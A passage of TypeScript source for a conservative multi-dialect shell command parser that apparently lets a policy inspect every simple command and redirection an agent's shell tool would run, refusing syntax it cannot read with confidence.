parsePowerShellLine } from \"./powershell-parser\";\n\n/**\n * A deliberately conservative parser for the command lines `run_shell`\n * hands to a shell when the policy opts in to `interpreter: \"sh\"`.\n *\n * Its only job is to find **every simple command** a line would run — so\n * the policy can check each one — plus every redirection target. It is not\n * a shell: it never expands anything. What it cannot read with confidence\n * it refuses, because a construct the parser misreads is a construct a\n * denied command can hide in. `/bin/sh` is bash on some systems, dash or\n * busybox ash on others, so constructs that those shells read differently\n * (bash-only syntax such as `<<<`, `&>`, `$'…'`, brace expansion, `[[`,\n * arithmetic) are refused as well.\n *\n * Three dialects:\n * - `\"posix\"` — what `/bin/sh -c` reads: `;`, `&&`, `||`, `|`, `&`,\n * newlines, comments, `( … )` subshells, `$( … )` and backtick command\n * substitution (parsed recursively), `$name` / `${name…}` parameter\n * expansion (a restricted set of forms), single and double quotes,\n * backslash escapes, redirections and here-documents.\n * - `\"cmd\"` — what `cmd.exe /d /v:off /s /c` reads, restricted to the\n * subset whose meaning is unambiguous: `&&`, `||`, `|`, `&` (sequential\n * in cmd), double quotes and simple redirections. `%`, `!`, `^`,\n * parentheses, `;` and `,` are refused.\n * - `\"powershell\"` — what `powershell -Command` / `pwsh -Command` reads, restricted\n * the same way (see `powershell-parser.ts`).\n * - `\"powershell5\"` — Windows PowerShell 5.1: the `\"powershell\"` grammar\n * without `&&` and `||`, which 5.1 cannot run; a line using them is refused.\n */\n\n/** Which shell grammar to parse. */\nexport type ShellDialect = \"posix\" | \"cmd\" | \"powershell\" | \"powershell5\";\n\n/** One word of a simple command, after quote removal. */\nexport interface ShellWord {\n /** The word exactly as written. */\n raw: string;\n /**\n * The word's text after quote removal and escapes. Expansions\n * (`$HOME`, `$(…)`, backticks) are kept as their source text — their real\n * value is only known when the shell runs.\n */\n value: string;\n /**\n * True when the shell decides part of the word at run time: a parameter\n * expansion, a command substitution, an unquoted glob character\n * (`*`, `?`, `[`) or a leading `~`.\n */\n dynamic: boolean;\n /** True when any part of the word was quoted or escaped. */\n quoted: boolean;\n /** For a `NAME=value` assignment word, the variable name. */\n assignmentName?: string;\n}\n\n/** A redirection attached to a simple command (or a subshell). */\nexport interface ShellRedirect {\n /** The operator: `>`, `>>`, `>|`, `<`, `<>`, `>&`, `<&`, `<<` or `<<-`. */\n op: string;\n /** Explicit file descriptor (`2>`), when written. */\n fd?: number;\n /** The target word (file, descriptor number or here-doc delimiter). */\n target: ShellWord;\n /**\n * `\"read\"` / `\"write\"` — a file target; `\"dup\"` — a descriptor copy or\n * close (`2>&1`, `>&-`); `\"heredoc\"` — inline input.\n */\n type: \"read\" | \"write\" | \"dup\" | \"heredoc\";\n}\n\n/** A simple command: assignments, words and redirections. */\nexport interface ShellSimpleCommand {\n /** Leading `NAME=value` words. */\n assignments: ShellWord[];\n /** The command's words — `words[0]` is the command name. Empty for a redirect- or assignment-only command. */\n words: ShellWord[];\n /** Redirections, in order. */\n redirects: ShellRedirect[];\n /** The command's source text (for messages). */\n source: string;\n}\n\n/** A top-level piece of the line and the operator that follows it. */\nexport interface ShellSegment {\n /** Source text of the pipeline. */\n source: string;\n /** The list operator after it (`&&`, `||`, `;`, `&`, a newline), if any. */\n operator?: string;\n}\n\n/** Outcome of {@link parseShellLine}. */\nexport type ShellParseResult =\n | {\n ok: true;\n /** Every simple command, in the order the shell meets them (substitutions first). */\n commands: ShellSimpleCommand[];\n /** The top-level pipelines and the operators joining them. */\n segments: ShellSegment[];\n /** True when the line backgrounds anything with `&` (POSIX dialect). */\n background: boolean;\n }\n | {\n ok: false;\n /** Why the line was refused. */\n reason: \"unbalanced-quotes\" | \"unsupported-syntax\";\n /** What was refused and why, for the model. */\n message: string;\n };\n\n/** Deepest nesting of subshells and substitutions the parser accepts. */\nconst MAX_NESTING = 16;\n\n/**\n * Words that start a compound command (or negate a pipeline) when they\n * appear unquoted in command position. The parser does not read compound\n * commands, so a line using one is refused.\n */\nconst RESERVED_WORDS = new Set([\n \"!\",\n \"{\",\n \"}\",\n \"[[\",\n \"]]\",\n \"case\",\n \"coproc\",\n \"do\",\n \"done\",\n \"elif\",\n \"else\",\n \"esac\",\n \"fi\",\n \"for\",\n \"function\",\n \"if\",\n \"in\",\n \"select\",\n \"then\",\n \"until\",\n \"while\",\n]);\n\n/** cmd.exe keywords the `\"cmd\"` dialect refuses in command position. */\nconst CMD_RESERVED_WORDS = new Set([\"if\", \"for\", \"goto\", \"setlocal\", \"endlocal\"]);\n\n/** A parameter name inside `${…}`: a variable, a positional or a special parameter. */\nconst PARAMETER_NAME = String.raw`(?:[A-Za-z_][A-Za-z0-9_]*|[0-9]+|[@*#?$!-])`;\n\n/**\n * The default/pattern word of `${name:-word}` / `${name%word}`: no quotes,\n * no nested expansion or substitution, no braces or parentheses, no `@`.\n */\nconst PARAMETER_WORD = \"[^`$'\\\"\\\\\\\\{}()@\\\\n]*\";\n\n/**\n * Allowed `${…}` forms: `${name}`, `${#name}`, `${name-word}`,\n * `${name:-word}` (also `=`, `+`, `?`), `${name%word}`, `${name%%word}`,\n * `${name#word}`, `${name##word}`. Everything else — substrings and\n * subscripts (arithmetic in bash), `${!name}`, `${name@op}`, pattern\n * substitution — is refused.\n */\nconst PARAMETER_EXPANSION = new RegExp(\n `^(?:#${PARAMETER_NAME}|${PARAMETER_NAME}(?:(?::?[-=+?]|%%?|##?)${PARAMETER_WORD})?)$`,\n);\n\n/** A refusal raised while parsing; caught by {@link parseShellLine}. */\nclass ShellSyntaxRefusal extends Error {\n public constructor(\n public readonly reason: \"unbalanced-quotes\" | \"unsupported-syntax\",\n message: string,\n ) {\n super(message);\n }\n}\n\n/** Refuse a construct the parser does not read with confidence. */\nfunction unsupported(message: string): ShellSyntaxRefusal {\n return new ShellSyntaxRefusal(\"unsupported-syntax\", message);\n}\n\n/** Refuse an unterminated quote / substitution. */\nfunction unbalanced(message: string): ShellSyntaxRefusal {\n return new ShellSyntaxRefusal(\"unbalanced-quotes\", message);\n}\n\n/** State shared by a parser and the nested parsers it starts (backticks, here-docs). */\ninterface SharedState {\n commands: ShellSimpleCommand[];\n background: boolean;\n nesting: number;\n}\n\n/** A here-document whose body starts after the next newline. */\ninterface PendingHeredoc {\n delimiter: string;\n stripTabs: boolean;\n expand: boolean;\n}\n\n/** Parser for the POSIX `sh` dialect. */\nclass PosixParser {\n private pos = 0;\n\n private pendingHeredocs: PendingHeredoc[] = [];\n\n public constructor(\n private readonly src: string,\n private readonly state: SharedState,\n ) {}\n\n /** Parse the whole line as a command list. */\n public parseProgram(segments: ShellSegment[]): void {\n this.parseList(null, segments);\n this.assertNoPendingHeredocs();\n }\n\n /** Parse the contents of a backtick substitution (a full list until EOF). */\n public parseNestedProgram(): void {\n this.parseList(null, undefined);\n this.assertNoPendingHeredocs();\n }\n\n /**\n * Scan an unquoted-delimiter here-document body: `$…`, `${…}`, `$(…)` and\n * backticks expand there exactly as inside double quotes (but `\"` is an\n * ordinary character), so any command substitution in it runs.\n */\n public parseExpandingText(): void {\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (char === \"\\\\\") {\n this.pos += 2;\n\n continue;\n }\n\n if (char === \"$\") {\n this.parseDollar(\"heredoc\");\n\n continue;\n }\n\n if (char === \"`\") {\n this.parseBackticks(false);\n\n continue;\n }\n\n this.pos++;\n }\n }\n\n private atEnd(): boolean {\n return this.pos >= this.src.length;\n }\n\n private peek(offset = 0): string {\n return this.src.charAt(this.pos + offset);\n }\n\n private assertNoPendingHeredocs(): void {\n if (this.pendingHeredocs.length > 0) {\n throw unsupported(\n `The here-document delimited by \\`${this.pendingHeredocs[0]?.delimiter ?? \"\"}\\` is never terminated.`,\n );\n }\n }\n\n private enterNesting(): void {\n this.state.nesting++;\n\n if (this.state.nesting > MAX_NESTING) {\n throw unsupported(\"The line nests subshells or substitutions too deeply.\");\n }\n }\n\n private exitNesting(): void {\n this.state.nesting--;\n }\n\n /** Skip spaces, tabs and backslash-newline continuations. */\n private skipBlanks(): void {\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (char === \" \" || char === \"\\t\") {\n this.pos++;\n\n continue;\n }\n\n if (char === \"\\\\\" && this.peek(1) === \"\\n\") {\n this.pos += 2;\n\n continue;\n }\n\n break;\n }\n }\n\n /** Skip a `#` comment up to (not including) the newline. */\n private skipComment(): void {\n const newline = this.src.indexOf(\"\\n\", this.pos);\n\n this.pos = newline === -1 ? this.src.length : newline;\n }\n\n /** Consume one newline and read any here-document bodies queued before it. */\n private consumeNewline(): void {\n this.pos++;\n\n if (this.pendingHeredocs.length === 0) {\n return;\n }\n\n if (this.state.nesting > 0) {\n throw unsupported(\"Here-documents inside subshells or substitutions are not supported.\");\n }\n\n const pending = this.pendingHeredocs;\n\n this.pendingHeredocs = [];\n\n for (const heredoc of pending) {\n this.readHeredocBody(heredoc);\n }\n }\n\n /** Skip blanks, comments and newlines (separators between commands). */\n private skipBlanksAndNewlines(): void {\n while (!this.atEnd()) {\n this.skipBlanks();\n\n if (this.peek() === \"#\") {\n this.skipComment();\n\n continue;\n }\n\n if (this.peek() === \"\\n\") {\n this.consumeNewline();\n\n continue;\n }\n\n break;\n }\n }\n\n private readHeredocBody(heredoc: PendingHeredoc): void {\n const bodyLines: string[] = [];\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw unsupported(\n `The here-document delimited by \\`${heredoc.delimiter}\\` is never terminated.`,\n );\n }\n\n const lineEnd = this.src.indexOf(\"\\n\", this.pos);\n const line = lineEnd === -1 ? this.src.slice(this.pos) : this.src.slice(this.pos, lineEnd);\n const compared = heredoc.stripTabs ? line.replace(/^\\t+/, \"\") : line;\n\n this.pos = lineEnd === -1 ? this.src.length : lineEnd + 1;\n\n if (compared === heredoc.delimiter) {\n break;\n }\n\n bodyLines.push(compared);\n }\n\n if (heredoc.expand) {\n new PosixParser(bodyLines.join(\"\\n\"), this.state).parseExpandingText();\n }\n }\n\n /**\n * Parse a command list until `closing` (`\")\"`) or the end of the input.\n * `segments`, when given, collects the top-level pipelines.\n */\n private parseList(closing: string | null, segments: ShellSegment[] | undefined): void {\n let sawCommand = false;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanksAndNewlines();\n\n if (this.atEnd()) {\n if (closing !== null) {\n throw unbalanced(`A \\`(\\` or \\`$(\\` is never closed with \\`${closing}\\`.`);\n }\n\n break;\n }\n\n if (closing !== null && this.peek() === closing) {\n break;\n }\n\n const start = this.pos;\n\n this.parsePipeline(closing);\n\n const end = this.pos;\n\n sawCommand = true;\n this.skipBlanks();\n\n if (this.peek() === \"#\") {\n this.skipComment();\n }\n\n const operator = this.readListOperator();\n\n segments?.push({\n source: this.src.slice(start, end).trim(),\n ...(operator !== null ? { operator } : {}),\n });\n\n if (operator === \"&&\" || operator === \"||\") {\n this.skipBlanksAndNewlines();\n\n if (this.atEnd() || (closing !== null && this.peek() === closing)) {\n throw unsupported(`The line ends with \\`${operator}\\` but no command follows it.`);\n }\n\n continue;\n }\n\n if (operator === \"&\") {\n this.state.background = true;\n }\n\n if (operator === null) {\n if (this.atEnd() || (closing !== null && this.peek() === closing)) {\n break;\n }\n\n throw unsupported(`Unexpected \\`${this.peek()}\\`.`);\n }\n }\n\n if (!sawCommand) {\n throw unsupported(closing === null ? \"The command is empty.\" : \"A `( )` or `$( )` is empty.\");\n }\n }\n\n /** Read `&&`, `||`, `;`, `&` or a newline after a pipeline. */\n private readListOperator(): string | null {\n const char = this.peek();\n const next = this.peek(1);\n\n if (char === \"&\") {\n if (next === \"&\") {\n this.pos += 2;\n\n return \"&&\";\n }\n\n if (next === \">\") {\n throw unsupported(\n \"`&>` (redirect both streams) is not portable; write `> file 2>&1` instead.\",\n );\n }\n\n this.pos++;\n\n return \"&\";\n }\n\n if (char === \"|\" && next === \"|\") {\n this.pos += 2;\n\n return \"||\";\n }\n\n if (char === \";\") {\n if (next === \";\") {\n throw unsupported(\"`;;` (a `case` clause) is not supported.\");\n }\n\n this.pos++;\n\n return \";\";\n }\n\n if (char === \"\\n\") {\n this.consumeNewline();\n\n return \"\\n\";\n }\n\n return null;\n }\n\n private parsePipeline(closing: string | null): void {\n this.parseCommand(closing);\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.peek() !== \"|\" || this.peek(1) === \"|\") {\n return;\n }\n\n if (this.peek(1) === \"&\") {\n throw unsupported(\"`|&` is not portable; write `2>&1 |` instead.\");\n }\n\n this.pos++;\n this.skipBlanksAndNewlines();\n\n if (this.atEnd() || (closing !== null && this.peek() === closing)) {\n throw unsupported(\"The line ends with `|` but no command follows it.\");\n }\n\n this.parseCommand(closing);\n }\n }\n\n private parseCommand(closing: string | null): void {\n this.skipBlanks();\n\n if (this.peek() === \"(\") {\n if (this.peek(1) === \"(\") {\n throw unsupported(\"`((…))` (arithmetic) is not supported.\");\n }\n\n this.parseSubshell();\n\n return;\n }\n\n if (this.peek() === \")\") {\n throw unsupported(closing === null ? \"Unexpected `)`.\" : \"A `( )` or `$( )` is empty.\");\n }\n\n this.parseSimpleCommand();\n }\n\n private parseSubshell(): void {\n const start = this.pos;\n\n this.pos++;\n this.enterNesting();\n this.parseList(\")\", undefined);\n\n if (this.peek() !== \")\") {\n throw unbalanced(\"A `(` is never closed with `)`.\");\n }\n\n this.pos++;\n this.exitNesting();\n\n // Redirections may follow the closing parenthesis; nothing else may.\n const redirects: ShellRedirect[] = [];\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (!this.atRedirectStart()) {\n break;\n }\n\n redirects.push(this.parseRedirect());\n }\n\n if (redirects.length > 0) {\n this.state.commands.push({\n assignments: [],\n words: [],\n redirects,\n source: this.src.slice(start, this.pos).trim(),\n });\n }\n\n if (!this.atEnd() && !this.atOperatorBoundary()) {\n throw unsupported(\"Only an operator or a redirection may follow `)`.\");\n }\n }\n\n /** Whether the next character ends a simple command. */\n private atOperatorBoundary(): boolean {\n const char = this.peek();\n\n return (\n char === \"\\n\" ||\n char === \";\" ||\n char === \"&\" ||\n char === \"|\" ||\n char === \")\" ||\n char === \"#\" ||\n char === \" \" ||\n char === \"\\t\"\n );\n }\n\n /** Whether a redirection starts here (`>`, `<`, or digits glued to one). */\n private atRedirectStart(): boolean {\n let index = this.pos;\n\n while (index < this.src.length && /[0-9]/.test(this.src.charAt(index))) {\n index++;\n }\n\n const char = this.src.charAt(index);\n\n return char === \"<\" || char === \">\";\n }\n\n private parseSimpleCommand(): void {\n const start = this.pos;\n const command: ShellSimpleCommand = { assignments: [], words: [], redirects: [], source: \"\" };\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd()) {\n break;\n }\n\n const char = this.peek();\n\n if (char === \"\\n\" || char === \";\" || char === \"&\" || char === \"|\" || char === \")\") {\n break;\n }\n\n if (char === \"(\") {\n throw unsupported(\n \"`(` is only supported at the start of a command (a subshell); quote it to pass it as text.\",\n );\n }\n\n if (char === \"#\") {\n this.skipComment();\n\n break;\n }\n\n if (this.atRedirectStart()) {\n command.redirects.push(this.parseRedirect());\n\n continue;\n }\n\n const word = this.parseWord();\n\n if (command.words.length === 0 && word.assignmentName !== undefined) {\n command.assignments.push(word);\n\n continue;\n }\n\n command.words.push(word);\n\n if (command.words.length === 1 && !word.quoted && RESERVED_WORDS.has(word.value)) {\n throw unsupported(\n `\\`${word.value}\\` starts a shell compound command, which is not supported; run the commands one at a time.`,\n );\n }\n }\n\n if (\n command.words.length === 0 &&\n command.assignments.length === 0 &&\n command.redirects.length === 0\n ) {\n throw unsupported(\"The line has an empty command (two operators in a row?).\");\n }\n\n command.source = this.src.slice(start, this.pos).trim();\n this.state.commands.push(command);\n }\n\n private parseRedirect(): ShellRedirect {\n let digits = \"\";\n\n while (/[0-9]/.test(this.peek())) {\n digits += this.peek();\n this.pos++;\n }\n\n const rest = this.src.slice(this.pos, this.pos + 3);\n let op: string;\n\n if (rest.startsWith(\"<<<\")) {\n throw unsupported(\"`<<<` (a here-string) is not portable; use a here-document.\");\n } else if (rest.startsWith(\"<<-\")) {\n op = \"<<-\";\n } else if (rest.startsWith(\"<<\")) {\n op = \"<<\";\n } else if (rest.startsWith(\"<>\")) {\n op = \"<>\";\n } else if (rest.startsWith(\"<&\")) {\n op = \"<&\";\n } else if (rest.startsWith(\"<(\") || rest.startsWith(\">(\")) {\n throw unsupported(\"Process substitution (`<(…)`, `>(…)`) is not supported.\");\n } else if (rest.startsWith(\">>\")) {\n op = \">>\";\n } else if (rest.startsWith(\">|\")) {\n op = \">|\";\n } else if (rest.startsWith(\">&\")) {\n op = \">&\";\n } else {\n op = this.peek();\n }\n\n this.pos += op.length;\n\n const fd = digits === \"\" ? undefined : Number(digits);\n\n this.skipBlanks();\n\n if (this.atEnd() || /[\\n;&|<>()]/.test(this.peek())) {\n throw unsupported(`The redirection \\`${op}\\` has no target.`);\n }\n\n const target = this.parseWord();\n\n if (op === \"<<\" || op === \"<<-\") {\n if (this.state.nesting > 0) {\n throw unsupported(\"Here-documents inside subshells or substitutions are not supported.\");\n }\n\n if (target.dynamic) {\n throw unsupported(\"A here-document delimiter must be literal text.\");\n }\n\n this.pendingHeredocs.push({\n delimiter: target.value,\n stripTabs: op === \"<<-\",\n expand: !target.quoted,\n });\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: \"heredoc\" };\n }\n\n if (op === \">&\" || op === \"<&\") {\n if (target.dynamic || !/^(?:[0-9]+|-)$/.test(target.value)) {\n throw unsupported(\n `\\`${op}${target.raw}\\` is not portable; write \\`> file 2>&1\\` to send both streams to a file.`,\n );\n }\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: \"dup\" };\n }\n\n return {\n op,\n ...(fd !== undefined ? { fd } : {}),\n target,\n type: op === \"<\" ? \"read\" : \"write\",\n };\n }\n\n /** Parse one unquoted-context word. */\n private parseWord(): ShellWord {\n const start = this.pos;\n let value = \"\";\n let dynamic = false;\n let quoted = false;\n let braces = false;\n let nameCandidate = true;\n let assignmentName: string | undefined;\n\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (\n char === \" \" ||\n char === \"\\t\" ||\n char === \"\\n\" ||\n char === \";\" ||\n char === \"&\" ||\n char === \"|\" ||\n char === \"<\" ||\n char === \">\" ||\n char === \"(\" ||\n char === \")\"\n ) {\n break;\n }\n\n if (char === \"\\r\" || char === \"\\0\") {\n throw unsupported(\"Carriage returns and NUL bytes are not supported in a command line.\");\n }\n\n if (char === \"\\\\\") {\n const next = this.peek(1);\n\n if (next === \"\") {\n throw unsupported(\"The line ends with a backslash.\");\n }\n\n this.pos += 2;\n\n if (next !== \"\\n\") {\n value += next;\n quoted = true;\n nameCandidate = false;\n }\n\n continue;\n }\n\n if (char === \"'\") {\n const closing = this.src.indexOf(\"'\", this.pos + 1);\n\n if (closing === -1) {\n throw unbalanced(\"A `'` quote is never closed.\");\n }\n\n value += this.src.slice(this.pos + 1, closing);\n quoted = true;\n nameCandidate = false;\n this.pos = closing + 1;\n\n continue;\n }\n\n if (char === '\"') {\n const part = this.parseDoubleQuoted();\n\n value += part.value;\n dynamic = dynamic || part.dynamic;\n quoted = true;\n nameCandidate = false;\n\n continue;\n }\n\n if (char === \"$\") {\n const part = this.parseDollar(\"unquoted\");\n\n value += part.text;\n dynamic = dynamic || part.dynamic;\n nameCandidate = false;\n\n continue;\n }\n\n if (char === \"`\") {\n value += this.parseBackticks(false);\n dynamic = true;\n nameCandidate = false;\n\n continue;\n }\n\n if (char === \"=\" && nameCandidate && assignmentName === undefined) {\n if (/^[A-Za-z_][A-Za-z0-9_]*$/.test(value)) {\n assignmentName = value;\n }\n\n nameCandidate = false;\n } else if (!/[A-Za-z0-9_]/.test(char)) {\n nameCandidate = false;\n }\n\n if (char === \"*\" || char === \"?\" || char === \"[\") {\n dynamic = true;\n }\n\n if (char === \"~\") {\n const previous = this.src.charAt(this.pos - 1);\n\n if (\n this.pos === start ||\n (assignmentName !== undefined && (previous === \"=\" || previous === \":\"))\n ) {\n dynamic = true;\n }\n }\n\n if (char === \"{\" || char === \"}\") {\n braces = true;\n }\n\n value += char;\n this.pos++;\n }\n\n const raw = this.src.slice(start, this.pos);\n\n if (braces && raw !== \"{}\") {\n throw unsupported(\n `Unquoted \\`{\\` or \\`}\\` in \\`${raw}\\` (brace expansion or a command group) is not supported; quote it.`,\n );\n }\n\n // A lone `[` or `]` is never a glob (it is the `test` command or its end).\n if (raw === \"[\" || raw === \"]\") {\n dynamic = false;\n }\n\n return {\n raw,\n value,\n dynamic,\n quoted,\n ...(assignmentName !== undefined ? { assignmentName } : {}),\n };\n }\n\n /** Parse a `\"…\"` span (cursor on the opening quote). */\n private parseDoubleQuoted(): { value: string; dynamic: boolean } {\n this.pos++;\n\n let value = \"\";\n let dynamic = false;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw unbalanced('A `\"` quote is never closed.');\n }\n\n const char = this.peek();\n\n if (char === '\"') {\n this.pos++;\n\n return { value, dynamic };\n }\n\n if (char === \"\\0\") {\n throw unsupported(\"NUL bytes are not supported in a command line.\");\n }\n\n if (char === \"\\\\\") {\n const next = this.peek(1);\n\n if (next === \"\") {\n throw unbalanced('A `\"` quote is never closed.');\n }\n\n if (next === \"$\" || next === \"`\" || next === '\"' || next === \"\\\\\") {\n value += next;\n this.pos += 2;\n\n continue;\n }\n\n if (next === \"\\n\") {\n this.pos += 2;\n\n continue;\n }\n\n value += char;\n this.pos++;\n\n continue;\n }\n\n if (char === \"$\") {\n const part = this.parseDollar(\"dquote\");\n\n value += part.text;\n dynamic = dynamic || part.dynamic;\n\n continue;\n }\n\n if (char === \"`\") {\n value += this.parseBackticks(true);\n dynamic = true;\n\n continue;\n }\n\n value += char;\n this.pos++;\n }\n }\n\n /** Parse a `$…` expansion (cursor on the `$`). */\n private parseDollar(context: \"unquoted\" | \"dquote\" | \"heredoc\"): {\n text: string;\n dynamic: boolean;\n } {\n const start = this.pos;\n const next = this.peek(1);\n\n if (next === \"(\") {\n if (this.peek(2) === \"(\") {\n throw unsupported(\"`$((…))` (arithmetic expansion) is not supported.\");\n }\n\n this.pos += 2;\n this.enterNesting();\n this.parseList(\")\", undefined);\n\n if (this.peek() !== \")\") {\n throw unbalanced(\"A `$(` is never closed with `)`.\");\n }\n\n this.pos++;\n this.exitNesting();\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n if (next === \"{\") {\n const closing = this.src.indexOf(\"}\", this.pos + 2);\n\n if (closing === -1) {\n throw unbalanced(\"A `${` is never closed with `}`.\");\n }\n\n const body = this.src.slice(this.pos + 2, closing);\n\n if (!PARAMETER_EXPANSION.test(body)) {\n throw unsupported(\n `\\`\\${${body}}\\` is not a supported parameter expansion; use \\`$name\\`, \\`\\${name}\\` or \\`\\${name:-default}\\`.`,\n );\n }\n\n this.pos = closing + 1;\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n if (next === \"[\") {\n throw unsupported(\"`$[…]` (arithmetic expansion) is not supported.\");\n }\n\n if (context === \"unquoted\" && (next === \"'\" || next === '\"')) {\n throw unsupported(`\\`$${next}…${next}\\` quoting is not portable; use plain quotes.`);\n }\n\n if (/[A-Za-z_]/.test(next)) {\n this.pos += 2;\n\n while (/[A-Za-z0-9_]/.test(this.peek())) {\n this.pos++;\n }\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n if (/[0-9@*#?$!-]/.test(next) && next !== \"\") {\n this.pos += 2;\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n // A `$` followed by anything else is an ordinary character.\n this.pos++;\n\n return { text: \"$\", dynamic: false };\n }\n\n /** Parse a backtick substitution (cursor on the opening backtick); returns its source. */\n private parseBackticks(insideDoubleQuotes: boolean): string {\n const start = this.pos;\n let content = \"\";\n\n this.pos++;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw unbalanced(\"A backtick substitution is never closed.\");\n }\n\n const char = this.peek();\n\n if (char === \"`\") {\n this.pos++;\n\n break;\n }\n\n if (char === \"\\\\\") {\n const next = this.peek(1);\n\n if (next === \"\") {\n throw unbalanced(\"A backtick substitution is never closed.\");\n }\n\n if (next === \"`\" || next === \"\\\\\" || next === \"$\") {\n content += next;\n this.pos += 2;\n\n continue;\n }\n\n if (next === '\"' && insideDoubleQuotes) {\n throw unsupported(\n 'An escaped `\\\\\"` inside backticks inside double quotes is not portable; use `$(…)`.',\n );\n }\n\n content += char + next;\n this.pos += 2;\n\n continue;\n }\n\n content += char;\n this.pos++;\n }\n\n this.enterNesting();\n new PosixParser(content, this.state).parseNestedProgram();\n this.exitNesting();\n\n return this.src.slice(start, this.pos);\n }\n}\n\n/** Parser for the restricted `cmd.exe` dialect. */\nclass CmdParser {\n private pos = 0;\n\n public constructor(\n private readonly src: string,\n private readonly commands: ShellSimpleCommand[],\n ) {}\n\n public parseProgram(segments: ShellSegment[]): void {\n if (/[\\r\\n\\0]/.test(this.src)) {\n throw unsupported(\"Line breaks and NUL bytes are not supported in a cmd.exe command line.\");\n }\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd()) {\n throw unsupported(\n segments.length === 0\n ? \"The command is empty.\"\n : \"The line ends with an operator but no command follows it.\",\n );\n }\n\n const start = this.pos;\n\n this.parsePipeline();\n\n const end = this.pos;\n\n this.skipBlanks();\n\n const operator = this.readListOperator();\n\n segments.push({\n source: this.src.slice(start, end).trim(),\n ...(operator !== null ? { operator } : {}),\n });\n\n if (operator === null) {\n if (!this.atEnd()) {\n throw unsupported(`Unexpected \\`${this.peek()}\\`.`);\n }\n\n return;\n }\n }\n }\n\n private atEnd(): boolean {\n return this.pos >= this.src.length;\n }\n\n private peek(offset = 0): string {\n return this.src.charAt(this.pos + offset);\n }\n\n private skipBlanks(): void {\n while (this.peek() === \" \" || this.peek() === \"\\t\") {\n this.pos++;\n }\n }\n\n private readListOperator(): string | null {\n if (this.peek() === \"&\") {\n if (this.peek(1) === \"&\") {\n this.pos += 2;\n\n return \"&&\";\n }\n\n this.pos++;\n\n return \"&\";\n }\n\n if (this.peek() === \"|\" && this.peek(1) === \"|\") {\n this.pos += 2;\n\n return \"||\";\n }\n\n return null;\n }\n\n private parsePipeline(): void {\n this.parseSimpleCommand();\n\n while (this.peek() === \"|\" && this.peek(1) !== \"|\") {\n this.pos++;\n this.skipBlanks();\n\n if (this.atEnd()) {\n throw unsupported(\"The line ends with `|` but no command follows it.\");\n }\n\n this.parseSimpleCommand();\n }\n }\n\n private atRedirectStart(): boolean {\n const char = this.peek();\n\n if (char === \"<\" || char === \">\") {\n return true;\n }\n\n return /[0-9]/.test(char) && (this.peek(1) === \">\" || this.peek(1) === \"<\");\n }\n\n private parseSimpleCommand(): void {\n const start = this.pos;\n const command: ShellSimpleCommand = { assignments: [], words: [], redirects: [], source: \"\" };\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd() || this.peek() === \"&\" || this.peek() === \"|\") {\n break;\n }\n\n if (this.atRedirectStart()) {\n command.redirects.push(this.parseRedirect());\n\n continue;\n }\n\n const word = this.parseWord();\n\n command.words.push(word);\n\n if (command.words.length === 1) {\n this.checkCommandWord(word);\n }\n }\n\n if (command.words.length === 0 && command.redirects.length === 0) {\n throw unsupported(\"The line has an empty command (two operators in a row?).\");\n }\n\n command.source = this.src.slice(start, this.pos).trim();\n this.commands.push(command);\n }\n\n private checkCommandWord(word: ShellWord): void {\n if (word.raw.startsWith(\"@\") || word.raw.startsWith(\":\")) {\n throw unsupported(`\\`${word.raw}\\` is not supported as a cmd.exe command name.`);\n }\n\n if (/[/=]/.test(word.value)) {\n throw unsupported(\n `A cmd.exe command name may not contain \\`/\\` or \\`=\\` (\\`${word.value}\\`); use \\`\\\\\\` in paths.`,\n );\n }\n\n if (!word.quoted && CMD_RESERVED_WORDS.has(word.value.toLowerCase())) {\n throw unsupported(\n `\\`${word.value}\\` starts a cmd.exe compound command, which is not supported.`,\n );\n }\n }\n\n private parseRedirect(): ShellRedirect {\n let fd: number | undefined;\n\n if (/[0-9]/.test(this.peek())) {\n fd = Number(this.peek());\n this.pos++;\n }\n\n let op: string;\n\n if (this.src.startsWith(\">>\", this.pos)) {\n op = \">>\";\n } else if (this.src.startsWith(\">&\", this.pos)) {\n op = \">&\";\n } else if (this.src.startsWith(\"<&\", this.pos) || this.src.startsWith(\"<<\", this.pos)) {\n throw unsupported(\n `\\`${this.src.slice(this.pos, this.pos + 2)}\\` is not supported by cmd.exe.`,\n );\n } else {\n op = this.peek();\n }\n\n this.pos += op.length;\n this.skipBlanks();\n\n if (this.atEnd() || /[&|<>]/.test(this.peek())) {\n throw unsupported(`The redirection \\`${op}\\` has no target.`);\n }\n\n const target = this.parseWord();\n\n if (op === \">&\") {\n if (!/^[0-9]$/.test(target.value)) {\n throw unsupported(`\\`>&${target.raw}\\` is not supported; write \\`> file 2>&1\\`.`);\n }\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: \"dup\" };\n }\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: op === \"<\" ? \"read\" : \"write\" };\n }\n\n private parseWord(): ShellWord {\n const start = this.pos;\n let value = \"\";\n let dynamic = false;\n let quoted = false;\n\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (\n char === \" \" ||\n char === \"\\t\" ||\n char === \"&\" ||\n char === \"|\" ||\n char === \"<\" ||\n char === \">\"\n ) {\n break;\n }\n\n if (char === '\"') {\n const closing = this.src.indexOf('\"', this.pos + 1);\n\n if (closing === -1) {\n throw unbalanced('A `\"` quote is never 